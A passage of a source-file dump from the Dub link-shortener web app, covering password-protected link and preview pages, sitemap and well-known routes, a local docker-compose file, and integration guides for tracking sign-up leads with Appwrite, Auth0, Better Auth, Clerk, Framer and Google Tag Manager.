placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\"\n            } block w-full rounded-md focus:outline-none sm:text-sm`}\n          />\n          {state.error && (\n            <div className=\"pointer-events-none absolute inset-y-0 right-0 flex items-center pr-3\">\n              <AlertCircleFill\n                className=\"h-5 w-5 text-red-500\"\n                aria-hidden=\"true\"\n              />\n            </div>\n          )}\n        </div>\n        {state.error && (\n          <p className=\"mt-2 text-sm text-red-600\" id=\"slug-error\">\n            Incorrect password\n          </p>\n        )}\n      </div>\n\n      <FormButton />\n    </form>\n  );\n}\n\nconst FormButton = () => {\n  const { pending } = useFormStatus();\n  return <Button text=\"View page\" loading={pending} />;\n};\n"
  },
  {
    "path": "apps/web/app/password/[linkId]/loading.tsx",
    "content": "import { Background, LoadingSpinner } from \"@dub/ui\";\n\nexport default function Loading() {\n  return (\n    <main className=\"flex h-screen w-screen items-center justify-center\">\n      <LoadingSpinner />\n      <Background />\n    </main>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/password/[linkId]/page.tsx",
    "content": "import { Lock } from \"@/ui/shared/icons\";\nimport { NewBackground } from \"@/ui/shared/new-background\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\nimport { BlurImage, Wordmark } from \"@dub/ui\";\nimport { constructMetadata, createHref, isDubDomain } from \"@dub/utils\";\nimport { cookies } from \"next/headers\";\nimport Link from \"next/link\";\nimport { notFound, redirect } from \"next/navigation\";\nimport PasswordForm from \"./form\";\n\nexport const dynamic = \"force-dynamic\";\nexport const runtime = \"edge\";\n\nconst title = \"Password Required\";\nconst description =\n  \"This link is password protected. Enter the password to view it.\";\nconst image = \"https://assets.dub.co/misc/password-protected.png\";\n\nexport async function generateMetadata(props: {\n  params: Promise<{ linkId: string }>;\n}) {\n  const params = await props.params;\n  const link = await prismaEdge.link.findUnique({\n    where: {\n      id: params.linkId,\n    },\n    select: {\n      domain: true,\n      project: {\n        select: {\n          logo: true,\n          plan: true,\n        },\n      },\n    },\n  });\n\n  if (!link) {\n    notFound();\n  }\n\n  return constructMetadata({\n    title:\n      isDubDomain(link.domain) || link.project?.plan === \"free\"\n        ? `${title} - Dub`\n        : title,\n    description,\n    image,\n    ...(!isDubDomain(link.domain) &&\n      link.project?.plan !== \"free\" &&\n      link.project?.logo && {\n        icons: link.project.logo,\n      }),\n    noIndex: true,\n  });\n}\n\nexport default async function PasswordProtectedLinkPage(props: {\n  params: Promise<{ linkId: string }>;\n}) {\n  const params = await props.params;\n  const link = await prismaEdge.link.findUnique({\n    where: {\n      id: params.linkId,\n    },\n    select: {\n      id: true,\n      domain: true,\n      key: true,\n      password: true,\n      shortLink: true,\n      project: {\n        select: {\n          name: true,\n          logo: true,\n          plan: true,\n        },\n      },\n    },\n  });\n\n  if (!link) {\n    notFound();\n  }\n\n  if (\n    !link.password ||\n    (await cookies()).get(`dub_password_${link.id}`)?.value === link.password\n  ) {\n    redirect(link.shortLink);\n  }\n\n  return (\n    <>\n      <NewBackground />\n      <main className=\"relative mb-10 flex w-screen flex-col items-center\">\n        <Wordmark className=\"mt-6 h-8\" />\n        <div className=\"z-10 mt-8 w-full max-w-[400px] overflow-hidden rounded-2xl border border-neutral-200 shadow-sm md:mt-24\">\n          <div className=\"flex flex-col items-center justify-center gap-3 border-b border-neutral-200 bg-white px-4 py-6 text-center\">\n            {link.project?.logo ? (\n              <BlurImage\n                src={link.project.logo}\n                alt={link.project.name}\n                width={48}\n                height={48}\n                className=\"size-12 rounded-full\"\n              />\n            ) : (\n              <div className=\"flex size-12 items-center justify-center rounded-full bg-neutral-100\">\n                <Lock className=\"size-4 text-neutral-600\" />\n              </div>\n            )}\n            <h3 className=\"mt-1 text-lg font-semibold\">Password required</h3>\n            <p className=\"w-full max-w-xs text-pretty text-sm text-neutral-500\">\n              {description}\n            </p>\n          </div>\n          <PasswordForm />\n        </div>\n        <Link\n          href={createHref(\"/links\", link.domain, {\n            utm_source: \"Password Protected Link\",\n            utm_medium: \"Link Password Page\",\n            utm_campaign: link.domain,\n            utm_content: \"What is Dub?\",\n          })}\n          target=\"_blank\"\n          className=\"mt-4 block text-sm font-medium text-neutral-600 underline transition-colors duration-75 hover:text-neutral-800\"\n        >\n          What is Dub?\n        </Link>\n      </main>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/providers.tsx",
    "content": "\"use client\";\n\nimport { Analytics as DubAnalytics } from \"@dub/analytics/react\";\nimport { KeyboardShortcutProvider, TooltipProvider } from \"@dub/ui\";\nimport PlausibleProvider from \"next-plausible\";\nimport { ReactNode } from \"react\";\nimport { Toaster } from \"sonner\";\n\nexport default function RootProviders({ children }: { children: ReactNode }) {\n  return (\n    <TooltipProvider>\n      <PlausibleProvider domain=\"dub.co\" revenue />\n      <KeyboardShortcutProvider>\n        <Toaster className=\"pointer-events-auto\" closeButton />\n        {children}\n        <DubAnalytics\n          apiHost=\"/_proxy/dub\"\n          cookieOptions={{\n            domain: process.env.VERCEL === \"1\" ? \".dub.co\" : \"localhost\",\n          }}\n          domainsConfig={{\n            refer: \"refer.dub.co\",\n          }}\n        />\n      </KeyboardShortcutProvider>\n    </TooltipProvider>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/proxy/[domain]/[key]/page.tsx",
    "content": "import { getLinkViaEdge } from \"@/lib/planetscale\";\nimport { BlurImage } from \"@dub/ui\";\nimport {\n  GOOGLE_FAVICON_URL,\n  constructMetadata,\n  getApexDomain,\n} from \"@dub/utils\";\nimport { unescape } from \"html-escaper\";\nimport { notFound, redirect } from \"next/navigation\";\n\nexport const revalidate = false; // cache indefinitely\n\nexport async function generateMetadata(props: {\n  params: Promise<{ domain: string; key: string }>;\n}) {\n  const params = await props.params;\n  const domain = params.domain;\n  const key = decodeURIComponent(params.key); // key can potentially be encoded\n\n  const data = await getLinkViaEdge({ domain, key });\n\n  if (!data?.proxy) {\n    return;\n  }\n\n  const apexDomain = getApexDomain(data.url);\n\n  return constructMetadata({\n    title: unescape(data.title || \"\"),\n    description: unescape(data.description || \"\"),\n    image: data.image,\n    video: data.video,\n    icons: `${GOOGLE_FAVICON_URL}${apexDomain}`,\n    noIndex: true,\n  });\n}\n\nexport default async function ProxyPage(props: {\n  params: Promise<{ domain: string; key: string }>;\n}) {\n  const params = await props.params;\n  const domain = params.domain;\n  const key = decodeURIComponent(params.key);\n\n  const data = await getLinkViaEdge({ domain, key });\n\n  // if the link doesn't exist\n  if (!data) {\n    notFound();\n\n    // if the link does not have proxy enabled, redirect to the original URL\n  } else if (!data?.proxy) {\n    redirect(data.url);\n  }\n\n  const apexDomain = getApexDomain(data.url);\n\n  return (\n    <main className=\"flex h-screen w-screen items-center justify-center\">\n      <div className=\"mx-5 w-full max-w-lg overflow-hidden rounded-lg border border-neutral-200 sm:mx-0\">\n        <img\n          src={data.image}\n          alt={unescape(data.title || \"\")}\n          className=\"w-full object-cover\"\n        />\n        <div className=\"flex space-x-3 bg-neutral-100 p-5\">\n          <BlurImage\n            width={20}\n            height={20}\n            src={`${GOOGLE_FAVICON_URL}${apexDomain}`}\n            alt={unescape(data.title || \"\")}\n            className=\"mt-1 h-6 w-6\"\n          />\n          <div className=\"flex flex-col space-y-3\">\n            <h1 className=\"font-bold text-neutral-700\">\n              {unescape(data.title || \"\")}\n            </h1>\n            <p className=\"text-sm text-neutral-500\">\n              {unescape(data.description || \"\")}\n            </p>\n          </div>\n        </div>\n      </div>\n    </main>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/robots.ts",
    "content": "import { MetadataRoute } from \"next\";\nimport { headers } from \"next/headers\";\n\nexport default async function robots(): Promise<MetadataRoute.Robots> {\n  const headersList = await headers();\n  let domain = headersList.get(\"host\") as string;\n\n  return {\n    rules: [\n      {\n        userAgent: \"*\",\n        allow: \"/\",\n      },\n    ],\n    sitemap: `https://${domain}/sitemap.xml`,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/sitemap.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { PARTNERS_HOSTNAMES, SHORT_DOMAIN } from \"@dub/utils\";\nimport { MetadataRoute } from \"next\";\nimport { headers } from \"next/headers\";\n\nexport default async function sitemap(): Promise<MetadataRoute.Sitemap> {\n  const headersList = await headers();\n  let domain = headersList.get(\"host\") as string;\n\n  if (domain === \"dub.localhost:8888\" || domain.endsWith(\".vercel.app\")) {\n    // for local development and preview URLs\n    domain = SHORT_DOMAIN;\n  }\n\n  if (PARTNERS_HOSTNAMES.has(domain)) {\n    const programs = await prisma.program.findMany({\n      where: {\n        groups: {\n          some: {\n            slug: \"default\",\n            landerData: {\n              not: Prisma.AnyNull,\n            },\n            landerPublishedAt: {\n              not: null,\n            },\n          },\n        },\n      },\n      orderBy: {\n        slug: \"asc\",\n      },\n    });\n\n    return programs.map((program) => ({\n      url: `https://partners.dub.co/${program.slug}`,\n      lastModified: new Date(),\n    }));\n  }\n\n  return [\n    {\n      url: `https://${domain}`,\n      lastModified: new Date(),\n    },\n  ];\n}\n"
  },
  {
    "path": "apps/web/app/wellknown/[domain]/[file]/route.ts",
    "content": "import {\n  SupportedWellKnownFiles,\n  supportedWellKnownFiles,\n  WellKnownConfig,\n} from \"@/lib/well-known\";\nimport { prismaEdge } from \"@dub/prisma/edge\";\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport const runtime = \"edge\";\n\nexport async function GET(\n  _req: NextRequest,\n  props: { params: Promise<{ domain: string; file: SupportedWellKnownFiles }> },\n) {\n  const params = await props.params;\n  const { domain, file } = params;\n\n  if (!supportedWellKnownFiles.includes(file)) {\n    return NextResponse.json({ error: \"File not supported\" }, { status: 400 });\n  }\n\n  const { appleAppSiteAssociation, assetLinks } =\n    (await prismaEdge.domain.findUnique({\n      where: {\n        slug: domain,\n      },\n      select: {\n        appleAppSiteAssociation: true,\n        assetLinks: true,\n      },\n    })) || {\n      appleAppSiteAssociation: null,\n      assetLinks: null,\n    };\n\n  let response: WellKnownConfig[SupportedWellKnownFiles];\n  switch (file) {\n    case \"apple-app-site-association\":\n      response =\n        (appleAppSiteAssociation as WellKnownConfig[\"apple-app-site-association\"]) || {\n          applinks: {\n            apps: [],\n            details: [],\n          },\n        };\n      break;\n    case \"assetlinks.json\":\n      response = (assetLinks as WellKnownConfig[\"assetlinks.json\"]) || [];\n      break;\n  }\n\n  return NextResponse.json(response);\n}\n"
  },
  {
    "path": "apps/web/docker-compose.yml",
    "content": "# This is meant for local development only. Do not use this in production.\nversion: \"3.8\"\n\nservices:\n  ps-mysql:\n    image: mysql:8.0\n    restart: always\n    environment:\n      MYSQL_DATABASE: planetscale\n      MYSQL_ROOT_HOST: \"%\"\n      MYSQL_ALLOW_EMPTY_PASSWORD: \"yes\"\n    command:\n      [\n        \"--max_connections=1000\",\n        \"--default-authentication-plugin=mysql_native_password\",\n      ]\n    ports:\n      - 3306:3306\n    volumes:\n      - ps-mysql:/var/lib/mysql\n\n  planetscale-proxy:\n    image: ghcr.io/mattrobenolt/ps-http-sim:latest\n    command:\n      [\n        \"-mysql-no-pass\",\n        \"-listen-port=3900\",\n        \"-mysql-dbname=planetscale\",\n        \"-mysql-addr=ps-mysql\",\n      ]\n    depends_on:\n      - ps-mysql\n    ports:\n      - 3900:3900\n    links:\n      - ps-mysql\n\n  mailhog:\n    image: \"mailhog/mailhog:latest\"\n    ports:\n      - \"1025:1025\"\n      - \"8025:8025\"\n\nvolumes:\n  ps-mysql:\n"
  },
  {
    "path": "apps/web/global-setup.ts",
    "content": "import \"dotenv-flow/config\";\n\nimport type { FullConfig } from \"@playwright/test\";\n\nasync function globalSetup(_config: FullConfig) {}\n\nexport default globalSetup;\n"
  },
  {
    "path": "apps/web/guides/appwrite.md",
    "content": "Configure Appwrite to track lead conversion events during the sign up process.\n\n## Step 1\n\nHead to [Appwrite Cloud](https://apwr.dev/appwrite-dub) and create a new project.\n\n![New project on Appwrite Cloud](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/appwrite/appwrite-new-project.png)\n\nCreate a new API key with the `sessions.write` scope enabled and save the API key for later use. You can also copy your project ID and endpoint from the project's Settings page.\n\n![API key in your project on Appwrite Cloud](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/appwrite/appwrite-api-key.png)\n\nThen, in your Next.js app, install the Appwrite Node.js SDK.\n\n```bash\nnpm i node-appwrite\n```\n\n## Step 2\n\nAdd the following environment variables to your app.\n\n```bash\nNEXT_PUBLIC_APPWRITE_ENDPOINT=https://cloud.appwrite.io/v1\nNEXT_PUBLIC_APPWRITE_PROJECT=<APPWRITE_PROJECT_ID>\nNEXT_APPWRITE_KEY=<APPWRITE_API_KEY>\nNEXT_DUB_API_KEY=<DUB_API_KEY>\n```\n\n## Step 3\n\nAdd the `DubAnalytics` component from the `@dub/analytics` package to your app's root layout.\n\n```javascript\nimport type { Metadata } from \"next\";\nimport { Analytics as DubAnalytics } from \"@dub/analytics/react\";\n\nexport const metadata: Metadata = {\n  title: \"Appwrite Dub Leads Example\",\n  description: \"Appwrite Dub Leads Tracking example app with Next.js\",\n};\n\nexport default function RootLayout({\n  children,\n}: Readonly<{\n  children: React.ReactNode;\n}>) {\n  return (\n    <html lang=\"en\">\n      <body>{children}</body>\n      <DubAnalytics />\n    </html>\n  );\n}\n```\n\n## Step 4\n\nCreate the Appwrite Session and Admin client (necessary for SSR apps, as explained in the [Appwrite docs](https://appwrite.io/docs/products/auth/server-side-rendering)). Additionally, create a function to verify user login.\n\n```javascript\n\"use server\";\nimport { Client, Account } from \"node-appwrite\";\nimport { cookies } from \"next/headers\";\n\nexport async function createSessionClient() {\n  const client = new Client()\n    .setEndpoint(process.env.NEXT_PUBLIC_APPWRITE_ENDPOINT as string)\n    .setProject(process.env.NEXT_PUBLIC_APPWRITE_PROJECT as string);\n\n  const session = (await cookies()).get(\"my-custom-session\");\n  if (!session || !session.value) {\n    throw new Error(\"No session\");\n  }\n\n  client.setSession(session.value);\n\n  return {\n    get account() {\n      return new Account(client);\n    },\n  };\n}\n\nexport async function createAdminClient() {\n  const client = new Client()\n    .setEndpoint(process.env.NEXT_PUBLIC_APPWRITE_ENDPOINT as string)\n    .setProject(process.env.NEXT_PUBLIC_APPWRITE_PROJECT as string)\n    .setKey(process.env.NEXT_APPWRITE_KEY as string);\n\n  return {\n    get account() {\n      return new Account(client);\n    },\n  };\n}\n```\n\n## Step 5\n\nCreate the Dub client and send leads to Dub using the `dub.track.lead()` function.\n\n```javascript\nimport type { Models } from \"node-appwrite\";\nimport { Dub } from \"dub\";\n\nconst dub = new Dub({\n  token: process.env.NEXT_DUB_API_KEY,\n});\n\nexport function addDubLead(\n  user: Models.User<Models.Preferences>,\n  dub_id: string,\n) {\n  dub.track.lead({\n    clickId: dub_id,\n    eventName: \"Sign Up\",\n    customerExternalId: user.$id,\n    customerName: user.name,\n    customerEmail: user.email,\n  });\n}\n```\n\n## Step 6\n\nIn the `/auth` page, use the Appwrite Admin client to allow users to sign up. Post sign up, check if the `dub_id` cookie is present, send a lead event to Dub if found, and delete the `dub_id` cookie.\n\n```javascript\nimport { ID } from \"node-appwrite\";\nimport { createAdminClient, getLoggedInUser } from \"@/lib/server/appwrite\";\nimport { cookies } from \"next/headers\";\nimport { redirect } from \"next/navigation\";\nimport { addDubLead } from \"@/lib/server/dub\";\n\nasync function signUpWithEmail(formData: any) {\n  \"use server\";\n\n  // Get sign up info from form\n  const email = formData.get(\"email\");\n  const password = formData.get(\"password\");\n  const name = formData.get(\"name\");\n\n  // Create account and session using Appwrite\n  const { account } = await createAdminClient();\n\n  const user = await account.create(ID.unique(), email, password, name);\n  const session = await account.createEmailPasswordSession(email, password);\n\n  (await cookies()).set(\"my-custom-session\", session.secret, {\n    path: \"/\",\n    httpOnly: true,\n    sameSite: \"strict\",\n    secure: true,\n  });\n\n  // Check if Dub ID is present in cookies and track lead if found\n  const dub_id = (await cookies()).get(\"dub_id\")?.value;\n  if (dub_id) {\n    addDubLead(user, dub_id);\n    (await cookies()).delete(\"dub_id\");\n  }\n\n  // Redirect to success page\n  redirect(\"/auth/success\");\n}\n\nexport default async function SignUpPage() {\n  // Verify active user session and redirect to success page if found\n  const user = await getLoggedInUser();\n  if (user) redirect(\"/auth/success\");\n\n  return (\n    <>\n      <form action={signUpWithEmail}>\n        <input\n          id=\"email\"\n          name=\"email\"\n          placeholder=\"Email\"\n          type=\"email\"\n          required\n        />\n        <input\n          id=\"password\"\n          name=\"password\"\n          placeholder=\"Password\"\n          minLength={8}\n          type=\"password\"\n          required\n        />\n        <input id=\"name\" name=\"name\" placeholder=\"Name\" type=\"text\" required />\n        <button type=\"submit\">Sign up</button>\n      </form>\n    </>\n  );\n}\n```\n"
  },
  {
    "path": "apps/web/guides/auth0.md",
    "content": "Configure Auth0 to track lead conversion events in the `afterCallback` function.\n\nHere's how it works in a nutshell:\n\n1. In the sign in `afterCallback` function, check if the user is a new sign up.\n2. If the user is a new sign up, check if the `dub_id` cookie is present.\n3. If the `dub_id` cookie is present, send a lead event to Dub using `dub.track.lead`\n4. Delete the `dub_id` cookie.\n\n```javascript\nimport { handleAuth, handleCallback, type Session } from \"@auth0/nextjs-auth0\";\nimport { cookies } from \"next/headers\";\nimport { dub } from \"@/lib/dub\";\n\nconst afterCallback = async (req: Request, session: Session) => {\n  const userExists = await getUser(session.user.email);\n\n  if (!userExists) {\n    createUser(session.user);\n    // check if dub_id cookie is present\n    const clickId = cookies().get(\"dub_id\")?.value;\n\n    if (clickId) {\n      // send lead event to Dub\n      await dub.track.lead({\n        clickId,\n        eventName: \"Sign Up\",\n        customerExternalId: session.user.id,\n        customerName: session.user.name,\n        customerEmail: session.user.email,\n        customerAvatar: session.user.image,\n      });\n\n      // delete the dub_id cookie\n      cookies().set(\"dub_id\", \"\", {\n        expires: new Date(0),\n      });\n    }\n    return session;\n  }\n};\n\nexport default handleAuth({\n  callback: handleCallback({ afterCallback }),\n});\n```\n"
  },
  {
    "path": "apps/web/guides/better-auth.md",
    "content": "Configure Better Auth to track lead conversion events when a new user signs up.\n\n## Step 1: Install the @dub/better-auth plugin\n\nTo get started, simply install the [`@dub/better-auth` plugin](https://www.npmjs.com/package/@dub/better-auth) via your preferred package manager:\n\n```bash\nnpm install @dub/better-auth\nyarn add @dub/better-auth\npnpm add @dub/better-auth\nbun add @dub/better-auth\n```\n\n## Step 2: Configure the plugin\n\nThen, add the plugin to your better-auth config file:\n\n```ts auth.ts\nimport { dubAnalytics } from \"@dub/better-auth\";\nimport { betterAuth } from \"better-auth\";\nimport { Dub } from \"dub\";\n\nconst dub = new Dub();\n\nexport const auth = betterAuth({\n  plugins: [\n    dubAnalytics({\n      dubClient: dub,\n    }),\n  ],\n});\n```\n"
  },
  {
    "path": "apps/web/guides/clerk.md",
    "content": "Configure Clerk to track lead conversion events when a new user signs up.\n\n## Step 1: Add environment variables\n\nAdd the following environment variables to your app:\n\n```bash\n# get it here: https://dashboard.clerk.com/apps/new\nNEXT_PUBLIC_CLERK_PUBLISHABLE_KEY=your_publishable_key\nCLERK_SECRET_KEY=your_secret_key\n\n# get it here: https://d.to/tokens\nDUB_API_KEY=your_api_key\n```\n\n## Step 2: Add a custom claim to your Clerk session token\n\nAdd the following JSON as a [custom claim](https://clerk.com/docs/references/nextjs/add-onboarding-flow#add-custom-claims-to-your-session-token) to your Clerk session token:\n\n```json\n{\n  \"metadata\": \"{{user.public_metadata}}\"\n}\n```\n\n## Step 3: Extend the `@dub/analytics` package with Clerk's `useUser` hook\n\nExtend the `@dub/analytics` package to include a `trackLead` server action.\n\n```javascript\n\"use client\";\n\nimport { trackLead } from \"@/actions/track-lead\";\nimport { useUser } from \"@clerk/nextjs\";\nimport { Analytics, AnalyticsProps } from \"@dub/analytics/react\";\nimport { useEffect } from \"react\";\n\nexport function DubAnalytics(props: AnalyticsProps) {\n  const { user } = useUser();\n\n  useEffect(() => {\n    if (!user || user.publicMetadata.dubClickId) return;\n\n    // if the user is loaded but hasn't been persisted to Dub yet, track the lead event\n    trackLead({\n      id: user.id,\n      name: user.fullName!,\n      email: user.primaryEmailAddress?.emailAddress,\n      avatar: user.imageUrl,\n    }).then(async (res) => {\n      if (res.ok) await user.reload();\n      else console.error(res.error);\n    });\n\n    // you can also use an API route instead of a server action\n    /*\n      fetch(\"/api/track-lead\", {\n        method: \"POST\",\n        body: JSON.stringify({\n          id: user.id,\n          name: user.fullName,\n          email: user.primaryEmailAddress?.emailAddress,\n          avatar: user.imageUrl,\n        }),\n      }).then(res => {\n        if (res.ok) await user.reload();\n        else console.error(res.statusText);\n      });\n      */\n  }, [user]);\n\n  return <Analytics {...props} />;\n}\n```\n\nThen, add the `DubAnalytics` component to your app's root layout component:\n\n```javascript\nimport { DubAnalytics } from \"@/components/dub-analytics\";\n\nexport default function RootLayout({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  return (\n    <html>\n      <body>\n        <DubAnalytics />\n        {children}\n      </body>\n    </html>\n  );\n}\n```\n\n## Step 4: Implement the `trackLead` server action\n\nOn the server side, implement the `trackLead` server action.\n\n```javascript\n// This is a server action\n\"use server\";\n\nimport { dub } from \"@/lib/dub\";\nimport { clerkClient } from \"@clerk/nextjs/server\";\nimport { cookies } from \"next/headers\";\n\nexport async function trackLead({\n  id,\n  name,\n  email,\n  avatar,\n}: {\n  id: string;\n  name?: string | null;\n  email?: string | null;\n  avatar?: string | null;\n}) {\n  try {\n    const cookieStore = await cookies();\n    const dubId = cookieStore.get(\"dub_id\")?.value;\n\n    if (dubId) {\n      // Send lead event to Dub\n      await dub.track.lead({\n        clickId: dubId,\n        eventName: \"Sign Up\",\n        customerExternalId: id,\n        customerName: name,\n        customerEmail: email,\n        customerAvatar: avatar,\n      });\n\n      // Delete the dub_id cookie\n      cookieStore.set(\"dub_id\", \"\", {\n        expires: new Date(0),\n      });\n    }\n\n    const clerk = await clerkClient();\n    await clerk.users.updateUser(id, {\n      publicMetadata: {\n        dubClickId: dubId || \"n/a\",\n      },\n    });\n\n    return { ok: true };\n  } catch (error) {\n    console.error(\"Error in trackLead:\", error);\n    return { ok: false, error: (error as Error).message };\n  }\n}\n```\n\nAlternatively, you can also create an API route instead:\n\n```javascript\n// This is an API route\nimport { NextRequest, NextResponse } from \"next/server\";\n\nexport async function POST(req: NextRequest) {\n  // read dub_id from the request cookies\n  const dubId = req.cookies.get(\"dub_id\")?.value;\n  if (dubId) {\n    // Send lead event to Dub\n    await dub.track.lead({\n      clickId: dubId,\n      eventName: \"Sign Up\",\n      customerExternalId: id,\n      customerName: name,\n      customerEmail: email,\n      customerAvatar: avatar,\n    });\n  }\n\n  const clerk = await clerkClient();\n  await clerk.users.updateUser(id, {\n    publicMetadata: {\n      dubClickId: dubId || \"n/a\",\n    },\n  });\n  const res = NextResponse.json({ ok: true });\n  // Delete the dub_id cookie\n  res.cookies.set(\"dub_id\", \"\", {\n    expires: new Date(0),\n  });\n  return res;\n}\n```\n"
  },
  {
    "path": "apps/web/guides/framer.md",
    "content": "Follow these steps to add Dub client-side script to your Framer site:\n\n- Go to your Framer project and open the **Project Settings** menu.\n- Open the **General** tab and scroll down to the **Custom Code** section.\n- Paste the Dub analytics script in the **Start of head tag** section.\n- Click on the **Save** button to save the changes.\n\n<!-- prettier-ignore -->\n```html\n<script\n  defer\n  src=\"https://www.dubcdn.com/analytics/script.js\"\n></script>\n```\n"
  },
  {
    "path": "apps/web/guides/gtm-client-sdk.md",
    "content": "This guide will walk you through the process of integrating Dub with Google Tag Manager (GTM).\n\n## Step 1: Create a New Tag\n\nFirst, navigate to your Google Tag Manager account and create a new tag:\n\n- Click on **Tags** in the left sidebar\n- Click the **New** button\n- Select **Custom HTML** as the tag type\n\n![Dub GTM create tag](https://mintlify.s3.us-west-1.amazonaws.com/dub/images/conversions/google-tag-manager/gtm-select-custom-html-tag.png)\n\n## Step 2: Add the Dub client-side script\n\nIn the Custom HTML section, you’ll need to add the Dub client-side script. Copy and paste the following code into the **HTML** field:\n\n<!-- prettier-ignore -->\n```html\n<script>\n  (function (c, n) {\n    c[n] =\n      c[n] ||\n      function () {\n        (c[n].q = c[n].q || []).push(arguments);\n      };\n    var methods = [\"trackClick\", \"trackLead\", \"trackSale\"];\n    for (var i = 0; i < methods.length; i++) {\n      (function (method) {\n        c[n][method] = function () {\n          var args = Array.prototype.slice.call(arguments);\n          args.unshift(method);\n          c[n].apply(null, args);\n        };\n      })(methods[i]);\n    }\n    var s = document.createElement(\"script\");\n    s.defer = 1;\n    s.src = \"https://www.dubcdn.com/analytics/script.js\";\n    document.head.appendChild(s);\n  })(window, \"dubAnalytics\");\n</script>\n```\n\n## Step 3: Configure the Trigger\n\nTo ensure the analytics script loads on all pages:\n\n- Click on the **Triggering** section\n- Select **All Pages** as the trigger type\n- This will make the tag fire on every page load\n\n## Step 4: Save and Publish\n\n- Name your tag **Dub Analytics**\n- Click **Save** to store your changes\n- Click **Submit** to create a new version\n- Finally, click **Publish** to activate the tag on your website\n"
  },
  {
    "path": "apps/web/guides/gtm-track-lead.md",
    "content": "Configure Google Tag Manager for lead tracking\n\nThe following steps assume that you've already installed the Dub Analytics script through GTM.\n\n## Step 1: Create a GTM Variable to read the dub_id Cookie\n\nTo read the `dub_id` cookie that Dub Analytics sets, you'll need to create a new **User-Defined Variable** in Google Tag Manager.\n\nIn your GTM workspace, navigate to the **Variables** section and click **New** to create a new variable.\n\nConfigure the variable with the following settings:\n\n- **Variable Type**: Select **1st Party Cookie**\n- **Cookie Name**: `dub_id`\n- **Variable Name**: Name it \"Dub ID Cookie\"\n\nClick **Save** to create the variable.\n\n## Step 2: Tracking lead events\n\nThere are two ways to track lead events with Google Tag Manager:\n\n- Thank You Page Tracking (Recommended)\n- Form Submission Tracking\n\n### Option 1: Thank You Page Tracking (Recommended)\n\nThis method tracks leads when users land on a thank-you or success page after completing a form. This approach is more reliable as it's less likely to be blocked by ad blockers and provides better data accuracy.\n\nCreate a **Custom HTML** tag with the following code:\n\n```html\n<script>\n  (function () {\n    // Get query parameters from URL\n    var params = new URLSearchParams(window.location.search);\n    var email = params.get(\"email\");\n    var name = params.get(\"name\");\n\n    // Get dub_id from cookie using GTM variable\n    var clickId = {{Dub ID Cookie}} || \"\";\n\n    // Only track the lead event if email and clickId are present\n    if (email && clickId) {\n      dubAnalytics.trackLead({\n        eventName: \"Sign Up\",\n        customerExternalId: email,\n        customerName: name || email,\n        customerEmail: email,\n        clickId: clickId,\n      });\n    }\n  })();\n</script>\n```\n\n> **Important**: Make sure to pass along the `email` and `name` query parameters to the thank-you page so that the lead event can be attributed to the correct customer.\n\nConfigure this tag to fire on specific pages by creating a **Page View** trigger with conditions:\n\n- Trigger Type: **Page View**\n- This trigger fires on: **Some Page Views**\n- Add conditions like:\n  - **Page URL** contains `/thank-you`\n  - Or **Page Path** equals `/success`\n  - Or whatever URL pattern matches your thank-you pages\n\nName this tag \"Dub Lead Tracking - Thank You Page\" and save it.\n\n### Option 2: Form Submission Tracking\n\nThis method tracks leads immediately when users submit forms on your website. Note that this approach may be less reliable due to ad blockers and timing issues.\n\nCreate a **Custom HTML** tag with the following code:\n\n```html\n<script>\n  (function () {\n    // Get form data - customize these selectors based on your form\n    var name = document.getElementById(\"name\")\n      ? document.getElementById(\"name\").value\n      : \"\";\n    var email = document.getElementById(\"email\")\n      ? document.getElementById(\"email\").value\n      : \"\";\n\n    // Get dub_id from cookie using GTM variable\n    var clickId = {{Dub ID Cookie}} || \"\";\n\n    // Only track the lead event if email and clickId are present\n    if (email && clickId) {\n      dubAnalytics.trackLead({\n        eventName: \"Sign Up\",\n        customerExternalId: email,\n        customerName: name || email,\n        customerEmail: email,\n        clickId: clickId,\n      });\n    }\n  })();\n</script>\n```\n\n> **Important**: You'll need to customize the DOM selectors\n> (`getElementById('name')`, `getElementById('email')`) to match your actual\n> form field IDs or use different methods to capture the form data based on your\n> website's structure.\n\nConfigure this tag to fire on **Form Submission** by creating a new trigger:\n\n- Trigger Type: **Form Submission**\n- This trigger fires on: **Some Forms** (or **All Forms** if you want to track all form submissions)\n- Add conditions to specify which forms should trigger lead tracking\n\nName this tag \"Dub Lead Tracking - Form Submission\" and save it.\n\n## Testing your setup\n\nTo test your GTM setup, you can use the **Preview** mode in Google Tag Manager:\n\n1. **Enable Preview Mode**: In your GTM workspace, click the **Preview** button in the top right corner\n2. **Enter your website URL** and click **Connect**\n3. **Test your chosen tracking method**:\n   - **For Option 1 (Thank You Page)**: Navigate to your thank-you page with query parameters (e.g., `?email=test@example.com&name=Test User`)\n   - **For Option 2 (Form Submission)**: Navigate to a page with a form and submit a test form\n4. **Check the GTM debugger** to see if your tags are firing correctly\n\n### Verify lead tracking\n\nYou can also verify that leads are being tracked by:\n\n1. **Checking your browser's developer console** for any JavaScript errors\n2. **Using the Network tab** to see if requests are being sent to Dub's analytics endpoint\n3. **Viewing your Dub dashboard** to confirm that lead events are appearing in your analytics\n\n### Common troubleshooting tips\n\n- **Tag not firing**: Check that your triggers are configured correctly and that the conditions match your page structure\n- **Missing publishable key**: Ensure you've replaced the placeholder with your actual publishable key\n- **Missing query parameters** (Option 1): Ensure your form redirects to the thank-you page with the required query parameters\n- **Form data not captured** (Option 2): Verify that your DOM selectors match your actual form field IDs or names\n"
  },
  {
    "path": "apps/web/guides/gtm-track-sale.md",
